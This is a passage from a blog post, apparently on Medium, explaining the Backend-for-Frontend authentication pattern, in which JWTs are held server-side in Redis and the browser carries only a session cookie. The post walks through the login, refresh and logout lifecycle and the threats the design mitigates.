Holds only UI state such as user profile data, loading state, and view state. It contains zero authentication tokens.</p><p><strong>Layer:</strong> BFF<br><strong>Component:</strong> Session Store (Redis)<br><strong>Responsibility:</strong> Maps the session_id to the server-side session payload, typically something like { accessToken, refreshToken, userId }.</p><p><strong>Layer:</strong> BFF<br><strong>Component:</strong> Auth Endpoints<br><strong>Responsibility:</strong> Owns the authentication control plane: /login, /refresh, and /logout. It handles token exchange, rotation, session creation, and session destruction.</p><p><strong>Layer:</strong> BFF<br><strong>Component:</strong> Proxy Layer<br><strong>Responsibility:</strong> Acts as the trusted bridge between browser and Main API. It fetches the access token from Redis, injects Authorization: Bearer &lt;token&gt; into outbound requests, forwards the request to the Main API, and returns the response back to the client.</p><p><strong>Layer:</strong> Main API<br><strong>Component:</strong> JWT Validator<br><strong>Responsibility:</strong> Remains stateless. It validates access tokens on incoming requests and issues fresh token pairs to the BFF during refresh operations.</p><p><strong>Layer:</strong> Infrastructure<br><strong>Component:</strong> CSP Headers<br><strong>Responsibility:</strong> Enforces strict script execution rules to reduce XSS exposure. In a hardened setup, CSP acts as a second security layer that helps prevent malicious JavaScript from running in the first place.</p><h3>The architectural split in one sentence</h3><p>The <strong>browser holds only a session pointer</strong>, the <strong>BFF holds the real authentication material</strong>, and the <strong>Main API trusts only Bearer tokens injected by the BFF</strong>.</p><p>That separation is the entire security model.</p><h3>The Step-by-Step Lifecycle</h3><h4>1. Login</h4><p>The user submits their credentials to the BFF.<br>The BFF forwards the authentication request to the Main API.<br>If authentication succeeds, the Main API returns the access token and refresh token.<br>The BFF stores these JWTs securely in Redis and then sends back a signed session_id cookie to the user’s browser.</p><h4>2. Standard API Calls</h4><p>For every subsequent request, the browser automatically includes the session_id cookie.<br>The BFF reads that cookie, looks up the corresponding token pair in Redis, retrieves the access token, and injects it into the outgoing request as:</p><pre>Authorization: Bearer &lt;access_token&gt;</pre><p>The BFF then proxies the request to the Main API and returns the response to the browser.</p><h4>3. Token Refresh Flow</h4><p>When the access token expires, the Main API responds with a 401 Unauthorized.<br>The BFF intercepts that response and triggers its internal refresh routine.<br>Using the refresh token already stored in Redis, the BFF requests a new token pair from the Main API.<br>Once the new access and refresh tokens are issued, the BFF updates Redis and retries the original request transparently, without the user noticing any interruption.</p><h4>4. Logout</h4><p>When the user logs out, the browser calls the BFF’s /auth/logout endpoint.<br>The BFF deletes the associated session data from Redis and sends a Clear-Cookie response to remove the session_id cookie from the browser.</p><h3>Part 6: What This Architecture Actually Protects Against</h3><p>This architecture is not just about “where to store the token.” It fundamentally changes the browser’s role in the authentication system. The browser no longer holds raw access or refresh tokens. Instead, it only carries an opaque session identifier, while the actual JWTs live server-side inside the BFF layer.</p><p>That shift neutralizes or sharply reduces several common attack paths.</p><p><strong>Threat Vector: XSS Token Theft</strong><br><strong>How this architecture kills it:</strong> The raw access token and refresh token never enter the browser’s JavaScript runtime. Since the client never directly holds the JWT pair, a successful XSS payload cannot simply steal tokens from localStorage, sessionStorage, or in-memory application state.</p><p><strong>Threat Vector: XSS Action Hijacking</strong><br><strong>How this architecture kills it:</strong> XSS can still trigger actions from the victim’s browser, but it no longer automatically becomes a token-exfiltration event. Combined with strict CSP, output sanitization, and hardened frontend controls, the damage is contained more effectively.</p><p><strong>Threat Vector: CSRF</strong><br><strong>How this architecture kills it:</strong> The browser only carries an opaque session cookie, not the actual Bearer token required by the Main API. The BFF is the only layer that can resolve that session into a valid Authorization: Bearer &lt;token&gt; header, which means CSRF defenses can be enforced at the BFF boundary using SameSite, CSRF tokens, and origin validation.</p><p><strong>Threat Vector: Refresh Token Theft</strong><br><strong>How this architecture kills it:</strong> Refresh tokens are stored server-side in Redis, not exposed to browser JavaScript. With refresh token rotation and reuse detection, a stolen refresh token becomes far less useful because reuse can invalidate the entire token chain.</p><p><strong>Threat Vector: Session Hijacking</strong><br><strong>How this architecture kills it:</strong> Even if a session cookie is stolen, the attacker still does not get the raw access token or refresh token. The cookie is only a pointer to server-side state. You can further reduce the blast radius using short-lived sessions, rotation, anomaly detection, and immediate revocation from Redis.</p><p><strong>Threat Vector: Man-in-the-Middle</strong><br><strong>How this architecture kills it:</strong> When the cookie is marked Secure and the application is served strictly over HTTPS, the session cookie is protected from plaintext interception during transit. TLS is mandatory here, not optional.</p><h3>The key security idea</h3><p>The core win of this design is <strong>token isolation</strong>.</p><p>Instead of giving the browser direct possession of long-lived authentication material, you push that responsibility into a server-controlled BFF. The browser only holds a session reference; the BFF holds the actual secrets; and the Main API only trusts Bearer tokens injected by the BFF.</p><p>That means an attacker who compromises frontend JavaScript no longer gets the same prize they would get in a typical localStorage-based JWT setup.</p><h3>The Bottom Line</h3><p>The localStorage<em> vs. HttpOnly Cookie</em> debate is a distraction. It’s a 101-level conversation wrapped in junior-engineer dogmatism. Real security requires modeling the <strong>entire lifecycle of a request</strong>, not just deciding which browser drawer to shove a string into.</p><p>If you are building a production application:</p><ul><li>Implement a <strong>BFF</strong>; keep your credentials server-side.</li><li>Enforce <strong>Refresh Token Rotation</strong> with automatic reuse detection.</li><li>Squeeze your access token lifespans down to <strong>15 minutes</strong>.</li><li>Lock down your DOM with a strict <strong>CSP</strong>.</li><li>Rely on <strong>HttpOnly, Secure, SameSite=Lax</strong> cookies strictly for session pointers.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9ab284da065f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>